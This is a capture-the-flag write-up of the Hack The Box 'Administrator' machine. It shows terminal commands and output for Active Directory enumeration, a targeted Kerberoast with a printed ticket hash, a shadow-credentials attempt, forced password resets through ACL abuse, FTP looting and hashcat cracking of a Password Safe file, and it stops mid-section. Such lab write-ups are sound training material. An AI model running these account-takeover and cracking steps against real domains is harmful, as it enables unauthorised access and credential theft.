Administrator
is a medium-difficulty Windows machine designed around a complete domain compromise scenario, where credentials for a low-privileged user are provided. To gain access to the michael
account, ACLs (Access Control Lists) over privileged objects are enumerated, leading us to discover that the user olivia
has GenericAll
permissions over michael
, allowing us to reset his password. With access as michael
, it is revealed that he can force a password change on the user benjamin
, whose password is reset. This grants access to FTP
where a backup.psafe3
file is discovered, cracked, and reveals credentials for several users. These credentials are sprayed across the domain, revealing valid credentials for the user emily
. Further enumeration shows that emily
has GenericWrite
permissions over the user ethan
, allowing us to perform a targeted Kerberoasting attack. The recovered hash is cracked and reveals valid credentials for ethan
, who is found to have DCSync
rights ultimately allowing retrieval of the Administrator
account hash and full domain compromise.
Recon
Hosts
1
2
3
4
5
6
7
8
9
| ┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ pt init '10.129.9.33 administrator.htb DC.administrator.htb DC'
+---------------+--------+-------------+----------------------+
| PROFILE | STATUS | IP | DOMAIN |
+---------------+--------+-------------+----------------------+
| administrator | on | 10.129.9.33 | administrator.htb |
| administrator | on | 10.129.9.33 | DC.administrator.htb |
| administrator | on | 10.129.9.33 | DC |
+---------------+--------+-------------+----------------------+
|
Nmap
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|
# Nmap 7.94SVN scan initiated Mon Nov 11 17:51:43 2024 as: /usr/lib/nmap/nmap -sVC --version-all -T4 -Pn -vv -oA ./nmap/full_tcp_scan -p 21,53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49668,61892,62306,62311,62322,62336,62369, 10.129.51.42
Nmap scan report for 10.129.51.42
Host is up, received user-set (0.28s latency).
Scanned at 2024-11-11 17:51:44 CST for 117s
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 127 Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2024-11-11 16:51:53Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 127
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 127
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
47001/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
61892/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
62306/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
62311/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
62322/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
62336/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
62369/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 18723/tcp): CLEAN (Couldn't connect)
| Check 2 (port 56967/tcp): CLEAN (Couldn't connect)
| Check 3 (port 43019/udp): CLEAN (Failed to receive data)
| Check 4 (port 54596/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: 7h00m01s
| smb2-time:
| date: 2024-11-11T16:53:24
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Nov 11 17:53:41 2024 -- 1 IP address (1 host up) scanned in 117.24 seconds
|
21 - FTP
1
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4
5
6
7
8
9
| ┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ ftp -A ftp://anonymous:''@$(pt get rhost)
Connected to administrator.htb.
220 Microsoft FTP Service
331 Password required
530 User cannot log in.
ftp: Login failed
ftp: Can't connect or login to host `administrator.htb:ftp'
221 Goodbye.
|
53 - DNS
DNS Reverse Lookup
1
2
3
4
5
6
7
8
9
| ┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ dig -p 53 -x $(pt get rhost) @$(pt get rhost)
;; communications error to 10.129.51.42#53: timed out
;; communications error to 10.129.51.42#53: timed out
;; communications error to 10.129.51.42#53: timed out
; <<>> DiG 9.20.2-1-Debian <<>> -p 53 -x administrator.htb @administrator.htb
;; global options: +cmd
;; no servers could be reached
|
DNS Zone Transfer
1
2
3
4
5
6
7
| ┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ dig AXFR -p 53 @$(pt get rhost) $(pt get rhost)
; <<>> DiG 9.20.2-1-Debian <<>> AXFR -p 53 @administrator.htb administrator.htb
; (1 server found)
;; global options: +cmd
; Transfer failed.
|
DnsRecon Default Scan
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13
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15
16
17
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19
20
| ┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ dnsrecon -n $(pt get rhost) -d $(pt get rhost)
[*] std: Performing General Enumeration against: administrator.htb...
[-] DNSSEC is not configured for administrator.htb
[*] SOA dc.administrator.htb 10.129.51.42
[*] NS dc.administrator.htb 10.129.51.42
[*] A administrator.htb 10.129.51.42
[*] Enumerating SRV Records
[+] SRV _ldap._tcp.administrator.htb dc.administrator.htb 10.129.51.42 389
[+] SRV _kerberos._tcp.administrator.htb dc.administrator.htb 10.129.51.42 88
[+] SRV _kerberos._udp.administrator.htb dc.administrator.htb 10.129.51.42 88
[+] SRV _gc._tcp.administrator.htb dc.administrator.htb 10.129.51.42 3268
[+] SRV _ldap._tcp.dc._msdcs.administrator.htb dc.administrator.htb 10.129.51.42 389
[+] SRV _ldap._tcp.pdc._msdcs.administrator.htb dc.administrator.htb 10.129.51.42 389
[+] SRV _ldap._tcp.ForestDNSZones.administrator.htb dc.administrator.htb 10.129.51.42 389
[+] SRV _kpasswd._udp.administrator.htb dc.administrator.htb 10.129.51.42 464
[+] SRV _kerberos._tcp.dc._msdcs.administrator.htb dc.administrator.htb 10.129.51.42 88
[+] SRV _ldap._tcp.gc._msdcs.administrator.htb dc.administrator.htb 10.129.51.42 3268
[+] SRV _kpasswd._tcp.administrator.htb dc.administrator.htb 10.129.51.42 464
[+] 11 Records Found
|
Subdomain Enumeration
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3
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5
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7
8
9
10
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16
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21
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26
| ┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ gobuster dns -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -o gobuster_subdomains.txt -t 100 -d $(pt get rhost) -r $(pt get rhost)
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Domain: administrator.htb
[+] Threads: 100
[+] Resolver: administrator.htb
[+] Timeout: 1s
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
===============================================================
Starting gobuster in DNS enumeration mode
===============================================================
Found: dc.administrator.htb
Found: gc._msdcs.administrator.htb
Found: domaindnszones.administrator.htb
Found: forestdnszones.administrator.htb
Progress: 114441 / 114442 (100.00%)
===============================================================
Finished
===============================================================
|
445 - SMB
Auth
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9
10
| ┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ nxc smb $(pt get rhost) -u '' -p ''
nxc smb $(pt get rhost) -u 'a' -p ''
nxc smb $(pt get rhost) -u 'Guest' -p ''
SMB 10.129.51.42 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB 10.129.51.42 445 DC [+] administrator.htb\:
SMB 10.129.51.42 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB 10.129.51.42 445 DC [-] administrator.htb\a: STATUS_LOGON_FAILURE
SMB 10.129.51.42 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB 10.129.51.42 445 DC [-] administrator.htb\Guest: STATUS_ACCOUNT_DISABLED
|
Shares
1
2
3
4
5
| ┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ nxc smb $(pt get rhost) -u '' -p '' --shares
SMB 10.129.51.42 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB 10.129.51.42 445 DC [+] administrator.htb\:
SMB 10.129.51.42 445 DC [-] Error enumerating shares: STATUS_ACCESS_DENIED
|
Groups & Users
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2
3
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5
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7
8
9
10
| ┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ nxc smb $(pt get rhost) -u '' -p '' --rid-brute | tee enum/nxc_rid_brute.log
SMB 10.129.51.42 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB 10.129.51.42 445 DC [+] administrator.htb\:
SMB 10.129.51.42 445 DC [-] Error connecting: LSAD SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.
┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ nxc smb $(pt get rhost) -u '' -p '' --users
SMB 10.129.51.42 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB 10.129.51.42 445 DC [+] administrator.htb\:
|
User Flag
Auth as Olivia
Assumed breach scenario
A pair of credential was provided by the box creator : Olivia:ichliebedich
Auth as michael
Active directory environment setup
Setup variables
1
2
| pt set user 'Olivia'; pt set pass 'ichliebedich'; echo "$(pt get user):$(pt get pass)" | anew creds.lst
pt set dc_name "DC"; pt set dc_fqdn "DC.administrator.htb"
|
Sync time with DC
1
2
3
4
| ┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ sudo ntpdate -u $(pt get rhost)
2024-11-12 21:20:52.641579 (+0800) +31825.850943 +/- 0.138857 administrator.htb 10.129.7.55 s1 no-leap
CLOCK: time stepped by 31825.850943
|
Configure kerberos
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2
3
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5
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7
8
9
10
11
12
13
14
15
16
17
18
| ┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ sudo ~/scripts/ad/configure_krb5.py $(pt get domain) $(pt get dc_name)
[*] Configuration Data:
[libdefault]
default_realm = ADMINISTRATOR.HTB
[realms]
ADMINISTRATOR.HTB = {
kdc = dc.administrator.htb
admin_server = dc.administrator.htb
}
[domain_realm]
administrator.htb = ADMINISTRATOR.HTB
.administrator.htb = ADMINISTRATOR.HTB
[*] Previous config backed up to /etc/krb5.conf~
[+] /etc/krb5.conf has been configured
|
Password spray
Brutespray (Tool) - https://github.com/x90skysn3k/brutespray
1
| /opt/sectools/password-attacks/BruteForce/brutespray -q -f ./nmap/all_tcp_ports.gnmap -u ldeep/_users_enabled.lst -p "$(pt get pass)"
|
445 - SMB enumeration
Check shares
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8
9
10
11
12
| ┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ nxc smb $(pt get rhost) -u "$(pt get user)" -p "$(pt get pass)" --shares
SMB 10.129.7.55 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB 10.129.7.55 445 DC [+] administrator.htb\Olivia:ichliebedich
SMB 10.129.7.55 445 DC [*] Enumerated shares
SMB 10.129.7.55 445 DC Share Permissions Remark
SMB 10.129.7.55 445 DC ----- ----------- ------
SMB 10.129.7.55 445 DC ADMIN$ Remote Admin
SMB 10.129.7.55 445 DC C$ Default share
SMB 10.129.7.55 445 DC IPC$ READ Remote IPC
SMB 10.129.7.55 445 DC NETLOGON READ Logon server share
SMB 10.129.7.55 445 DC SYSVOL READ Logon server share
|
Since we have access to SYSVOL
share, try harvest GPP data
1
2
3
4
5
6
7
8
9
10
11
12
| ┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ Get-GPPPassword.py "$(pt get domain)"/"$(pt get user)":"$(pt get pass)"@"$(pt get dc_fqdn)"
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Listing shares...
- ADMIN$
- C$
- IPC$
- NETLOGON
- SYSVOL
[*] Searching *.xml files...
|
389 - Domain enumeration
Ldeep
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5
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13
14
15
16
17
18
19
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21
22
23
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27
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40
41
42
43
44
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46
47
48
49
50
51
52
53
54
55
56
57
58
59
| ┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ mkdir -p ldeep && ldeep ldap -u "$(pt get user)" -p "$(pt get pass)" -d "$(pt get domain)" -s ldap://$(pt get ip) all ldeep/
[+] Retrieving auth_policies output
[+] Retrieving auth_policies verbose output
[+] Retrieving bitlockerkeys output
[+] Retrieving bitlockerkeys verbose output
[+] Retrieving computers output
[+] Retrieving conf output
[+] Retrieving delegations output
[+] Retrieving delegations verbose output
[+] Retrieving delegations verbose output
[+] Retrieving delegations verbose output
[+] Retrieving delegations verbose output
[+] Retrieving domain_policy output
[+] Retrieving domain_policy verbose output
[+] Retrieving fsmo output
[+] Retrieving fsmo verbose output
[+] Retrieving gmsa output
[+] Retrieving gmsa verbose output
[+] Retrieving gpo output
[+] Retrieving gpo verbose output
[+] Retrieving groups output
[+] Retrieving groups verbose output
[+] Retrieving machines output
[+] Retrieving machines verbose output
[+] Retrieving ou output
[+] Retrieving ou verbose output
[+] Retrieving pkis output
[+] Retrieving pkis verbose output
[+] Retrieving pso output
[+] Retrieving sccm output
[!] invalid class in objectClass attribute: mssmsmanagementpoint. SCCM may not be installed
[+] Retrieving sccm verbose output
[!] invalid class in objectClass attribute: mssmsmanagementpoint. SCCM may not be installed
[+] Retrieving shadow_principals output
[+] Retrieving shadow_principals verbose output
[+] Retrieving silos output
[+] Retrieving silos verbose output
[+] Retrieving smsa output
[+] Retrieving smsa verbose output
[+] Retrieving subnets output
[+] Retrieving subnets verbose output
[+] Retrieving templates output
[+] Retrieving templates verbose output
[+] Retrieving trusts output
[+] Retrieving trusts verbose output
[+] Retrieving users output
[+] Retrieving users verbose output
[+] Retrieving users verbose output
[+] Retrieving users verbose output
[+] Retrieving users verbose output
[+] Retrieving users verbose output
[+] Retrieving users verbose output
[+] Retrieving users verbose output
[+] Retrieving users verbose output
[+] Retrieving users verbose output
[+] Retrieving users verbose output
[+] Retrieving zones output
[+] Retrieving zones verbose output
|
Check asreproast and kerberoast
1
2
3
4
5
| ┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ cat ldeep/*_users_nokrbpreauth.lst
┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ cat ldeep/*_users_spn.json | jq '.[] | {sAMAccountName, servicePrincipalName}'
|
Group users by group
Olivia
can remote winrm to domain computersbenjamin
have a custom group : Share Moderators
1
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3
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5
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7
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9
10
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15
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18
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26
27
28
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30
31
32
33
| ┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ cat ldeep/*_users_all.json | jq 'map(select(.memberOf != null)) | reduce .[] as $item ({}; reduce $item.memberOf[] as $group (.; .[$group] = (.[$group] // []) + [$item.sAMAccountName]))'
{
"CN=Remote Management Users,CN=Builtin,DC=administrator,DC=htb": [
"emily",
"michael",
"olivia"
],
"CN=Share Moderators,CN=Users,DC=administrator,DC=htb": [
"benjamin"
],
"CN=Denied RODC Password Replication Group,CN=Users,DC=administrator,DC=htb": [
"krbtgt"
],
"CN=Guests,CN=Builtin,DC=administrator,DC=htb": [
"Guest"
],
"CN=Group Policy Creator Owners,CN=Users,DC=administrator,DC=htb": [
"Administrator"
],
"CN=Domain Admins,CN=Users,DC=administrator,DC=htb": [
"Administrator"
],
"CN=Enterprise Admins,CN=Users,DC=administrator,DC=htb": [
"Administrator"
],
"CN=Schema Admins,CN=Users,DC=administrator,DC=htb": [
"Administrator"
],
"CN=Administrators,CN=Builtin,DC=administrator,DC=htb": [
"Administrator"
]
}
|
Check custom groups info
1
2
3
4
5
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7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| ┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ cat ldeep/*_groups.json | jq 'map(select(.isCriticalSystemObject != true)) | map(del(.cn,.dSCorePropagationData,.dn,.groupType,.instanceType,.name,.objectClass,.objectGUID,.sAMAccountName,.sAMAccountType,.uSNChanged,.uSNCreated,.whenCreated,.objectCategory,.member)) | sort_by(.whenChanged)'
[
{
"description": [
"DNS clients who are permitted to perform dynamic updates on behalf of some other clients (such as DHCP servers)."
],
"distinguishedName": "CN=DnsUpdateProxy,CN=Users,DC=administrator,DC=htb",
"objectSid": "S-1-5-21-1088858960-373806567-254189436-1102",
"whenChanged": "2024-10-04T19:54:08+00:00"
},
{
"description": [
"DNS Administrators Group"
],
"distinguishedName": "CN=DnsAdmins,CN=Users,DC=administrator,DC=htb",
"objectSid": "S-1-5-21-1088858960-373806567-254189436-1101",
"whenChanged": "2024-10-04T19:54:08+00:00"
},
{
"distinguishedName": "CN=Share Moderators,CN=Users,DC=administrator,DC=htb",
"objectSid": "S-1-5-21-1088858960-373806567-254189436-1111",
"whenChanged": "2024-10-06T02:09:52+00:00"
}
]
|
Bloodhound
Collector
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| ┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ bloodhound-python -d $(pt get domain) -ns $(pt get ip) -c all --zip -u "$(pt get user)" -p "$(pt get pass)"
INFO: Found AD domain: administrator.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc.administrator.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.administrator.htb
INFO: Found 11 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc.administrator.htb
INFO: Done in 00M 54S
INFO: Compressing output into 20241112220931_bloodhound.zip
|
Set Olivia
as owned
Search Shortest Paths to High Value Targets
Ethan
have DCSync permission over the domainMichael
have GenericALL permission to Account Operators
Mark Ethan
and Michael
as High Value Targets
Click on Michael
and get outbound object control
Michael
can force change Benjamin
’s password
PWN path simulation
Olivia
-> Michael
(Targeted kerberoast / Force change password / Shadow credential)Michael
-> Benjamin
(Change password) - Benjamin
-> Ethan
(Assume Share Moderators
group members have special permission over smb, ftp shares or local files) - DCSync
(Failed) Targeted kerberoast on Michael
Get outbound object control from Olivia
Olivia
have GenericALL
permission over Michael
Force set SPN on michael
1
2
3
4
5
6
7
8
| ┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ python /opt/sectools/ad/targetedKerberoast/targetedKerberoast.py -v -d "$(pt get domain)" -u "$(pt get user)" -p "$(pt get pass)"
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[VERBOSE] SPN added successfully for (michael)
[+] Printing hash for (michael)
$krb5tgs$23$*michael$ADMINISTRATOR.HTB$administrator.htb/michael*$851a8d2644b2ccda7ecf4a9827de39b4$818b3a3e75ba4c6edc8282e36f85bc9eb95f8ab37ce85721942bad2285efec72424d0e544109ba7193d604e3e5b7af3d9af95a88606719c5d5037d08236cea9f60cd68b7ac824afb17025e3a7800416c52a21c76bf0113d18419611641a3bf37c4b2d73130310f69a320da50ccb1f4f08dd6a334c15a32312a1962bb7a5306e4da893c9c9db5e2377165f3a49050e8196d52cf8cc01d24532a39cff74268fc7a6b1256c1200e6220e651f2748cc1de921c27aa2974dc2beab15af935e7095bc5f9d20f46c143339ae04976551e861fef200d3d331ce79b5e708c14a954bcbed358ae876b233964c8395326ea0f6e396d8408a06f5ed81a1c38a0b2c3f0f7f65cbcccf5014b548f2d62035ba50a79584a46a003e78eb78c310223f76f79d3024f0c09b003353e83afdef0f2f954ad219d0195c3654aa529fc5f3a3a876c87d9aa3e5b7d194988472fdc53a81c64cc682b597d0b67701bbb424edf09f1ad6fbb9974b7b6573c9348a5141a5afedb3eee0ce577704dd0a6f88c5131fe8ebaf75eab2b92260cad94ae7cdd993b6ee2a0f8d9673179f63389789ca2c332b4b88be69fc769ae4535feefe2e0513b16e200420005b09a75fb0c1401c8a245c757f34d0e87c20438f7879ed8e00733f9bcb0ac25847af8e09a3716200a19123647a65ef738fda3df058149949d27bc3d06144a9085e7ce01e9e54516d8447e78d061aabfa96bf1de6e8de30a8fe944160bbc9eb914a20b45cd1a08fdebf16d41f05ce7229951481cf50ebac4bb8e69690f33fd53d8ce239aad4fcc2d499d694692760f4711e6b0778d0f541e08bfb49acf79064b40f3d8fa3a926b4b53588a360d4ab28367e602ea185a34cd06c09345d1ff7611211ec6f2d614122925960481bc1d15f7d8a0fcb96bbf22faa7ee8cafce44f348241e3711197e34791a8381eef8bd4ad69897de105b3e5ac4c1daf00b3fe8dc7cca54034b50578c9393361ce394e488c5bb42abe7beb972e039da7adfd190ad80644f6b48d30270be73927d22d38a43553a167f82318c062cf5fbeb8d420f47652046c61b4e2c2a39c99796ade092b81fd60d7d6dc755417c7a4e96d3d24141e8e7cb428db29abd86fe0129b6625b1c8601ad18ad92e1e6441e346bf946b2963c25570e9719a478096e19cbcc19b63c8aa8f9065ad2d2a503ee3cc9926906097891308860fabf9fc93f37d41cf69e0693bfbcd3b8054fa8d1c941cb51f0030ccbd46dffbd441a1ca783342622dbfeef4829b531ec72ec88a060c4aacbefc083462ad295959cd2a2e85c385c32f460d2b642f7d4870d17769886cd87346d6db161c74f8044a19d2aa51802d66d72cc384e538b8fbb83b52d049e807bc00be179d6b815a402a48ae72611358c14fecb0b2a30dcf81d95eb7fbd3ff29f243f243e86e2266de314502f38b0e24b379db2aa0d9b577c06b3a9ea6eaf3461cf9952afc4efeb7823d82dce810ae33b58b4c76551f378cb56993cb039a4b5617cd49bfd247fd4c4ed143801ad
[VERBOSE] SPN removed successfully for (michael)
|
Crack the hash (Failed)
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2
| ┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ vi loot/kerberoast.hash
|
1
2
| hashcat loot/kerberoast.hash /usr/share/wordlists/fasttrack.txt --rules /usr/share/hashcat/rules/best64.rule
hashcat loot/kerberoast.hash /opt/wordlists/rockyou.txt --rules /usr/share/hashcat/rules/best64.rule
|
(Failed) Shadow credentials attack on Michael
pyWhisker is bugged at the time (2024/11/12), using bloodyAD as an alternative
BloodyAD documents for shadow credential attack - https://github.com/CravateRouge/bloodyAD/wiki/User-Guide#add-shadowcredentials
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| ┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ bloodyAD --host 10.129.7.55 -d "$(pt get domain)" -u "$(pt get user)" -p "$(pt get pass)" add shadowCredentials "Michael"
[+] KeyCredential generated with following sha256 of RSA key: 168f33abbe22c897af155c46ca805634a3c4bd0f6ca801e254846c96f461f71f
No outfile path was provided. The certificate(s) will be stored with the filename: zeoLFcz4
[+] Saved PEM certificate at path: zeoLFcz4_cert.pem
[+] Saved PEM private key at path: zeoLFcz4_priv.pem
A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
Run the following command to obtain a TGT:
python3 PKINITtools/gettgtpkinit.py -cert-pem zeoLFcz4_cert.pem -key-pem zeoLFcz4_priv.pem administrator.htb/Michael zeoLFcz4.ccache
┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ python /opt/sectools/ad/PKINITtools/gettgtpkinit.py -cert-pem zeoLFcz4_cert.pem -key-pem zeoLFcz4_priv.pem administrator.htb/Michael zeoLFcz4.ccache
2024-11-12 23:30:09,904 minikerberos INFO Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2024-11-12 23:30:09,917 minikerberos INFO Requesting TGT
INFO:minikerberos:Requesting TGT
Traceback (most recent call last):
File "/opt/sectools/ad/PKINITtools/gettgtpkinit.py", line 349, in <module>
main()
File "/opt/sectools/ad/PKINITtools/gettgtpkinit.py", line 345, in main
amain(args)
File "/opt/sectools/ad/PKINITtools/gettgtpkinit.py", line 315, in amain
res = sock.sendrecv(req)
^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3/dist-packages/minikerberos/network/clientsocket.py", line 85, in sendrecv
raise KerberosError(krb_message)
minikerberos.protocol.errors.KerberosError: Error Name: KDC_ERR_PADATA_TYPE_NOSUPP Detail: "KDC has no support for PADATA type (pre-authentication data)"
|
- ADCS was not installed on DC, so shadow credential attack won’t work. The only option left is to change
Michael
’s password
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| ┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ nxc ldap $(pt get rhost) -u "$(pt get user)" -p "$(pt get pass)" -M adcs
SMB 10.129.7.55 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
LDAP 10.129.7.55 389 DC [+] administrator.htb\Olivia:ichliebedich
ADCS 10.129.7.55 389 DC [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
|
Force change Michael’s password
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| ┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ net rpc password "Michael" "newP@ssword2024" -U "$(pt get domain)"/"$(pt get user)"%"$(pt get pass)" -S "$(pt get rhost)"
|
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| ┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ pt set user 'Michael'; pt set pass 'newP@ssword2024'; echo "$(pt get user):$(pt get pass)" | anew creds.lst
Michael:newP@ssword2024
┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ nxc smb $(pt get rhost) -u "$(pt get user)" -p "$(pt get pass)" --shares
SMB 10.129.7.55 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB 10.129.7.55 445 DC [+] administrator.htb\Michael:newP@ssword2024
|
Set Michael
as owned
Auth as benjamin
Force change benjamin’s password
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| ┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ net rpc password "benjamin" "newP@ssword2024" -U "$(pt get domain)"/"$(pt get user)"%"$(pt get pass)" -S "$(pt get rhost)"
|
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| ┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ pt set user 'benjamin'; pt set pass 'newP@ssword2024'; echo "$(pt get user):$(pt get pass)" | anew creds.lst
benjamin:newP@ssword2024
┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ nxc smb $(pt get rhost) -u "$(pt get user)" -p "$(pt get pass)"
SMB 10.129.7.55 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB 10.129.7.55 445 DC [+] administrator.htb\Michael:newP@ssword2024
|
Set benjamin
as owned
Shell as emily
Password spray
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| /opt/sectools/password-attacks/BruteForce/brutespray -q -f ./nmap/all_tcp_ports.gnmap -u "$(pt get user)" -p "$(pt get pass)"
|
445 - SMB
- No special permissions over smb shares
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| ┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ nxc smb $(pt get rhost) -u "$(pt get user)" -p "$(pt get pass)" --shares
SMB 10.129.7.55 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB 10.129.7.55 445 DC [+] administrator.htb\benjamin:newP@ssword2024
SMB 10.129.7.55 445 DC [*] Enumerated shares
SMB 10.129.7.55 445 DC Share Permissions Remark
SMB 10.129.7.55 445 DC ----- ----------- ------
SMB 10.129.7.55 445 DC ADMIN$ Remote Admin
SMB 10.129.7.55 445 DC C$ Default share
SMB 10.129.7.55 445 DC IPC$ READ Remote IPC
SMB 10.129.7.55 445 DC NETLOGON READ Logon server share
SMB 10.129.7.55 445 DC SYSVOL READ Logon server share
|
21 - FTP : Discovered password safe v3 database
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| ┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ nxc ftp $(pt get rhost) -u "$(pt get user)" -p "$(pt get pass)" --ls
FTP 10.129.7.55 21 administrator.htb [+] benjamin:newP@ssword2024
FTP 10.129.7.55 21 administrator.htb [*] Directory Listing
FTP 10.129.7.55 21 administrator.htb 10-05-24 08:13AM 952 Backup.psafe3
|
Dump FTP
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| ┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ mkdir -p loot/ftp && lftp $(pt get rhost) -u "$(pt get user),$(pt get pass)" -e 'set ftp:list-options -a; mirror . ./loot/ftp --parallel=40 --only-newer'
New: 1 file, 0 symlinks
952 bytes transferred in 1 second (861 B/s)
lftp benjamin@administrator.htb:/>
|
Crack Password safe v3 database
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| ┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ file loot/ftp/Backup.psafe3
loot/ftp/Backup.psafe3: Password Safe V3 database
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| ┌──(bravosec㉿fsociety)-[~/htb/Administrator]
└─$ hashcat loot/ftp/Backup.psafe3 /opt/wordlists/rockyou.txt -m 5200
hashcat (v6.2.6) starting
[...]
loot/ftp/Backup.psafe3:tekieromucho
Session..........: hashcat
Status...........: Cracked
[...]
|
Loot Password safe v3 database
- Google :
password safe v3
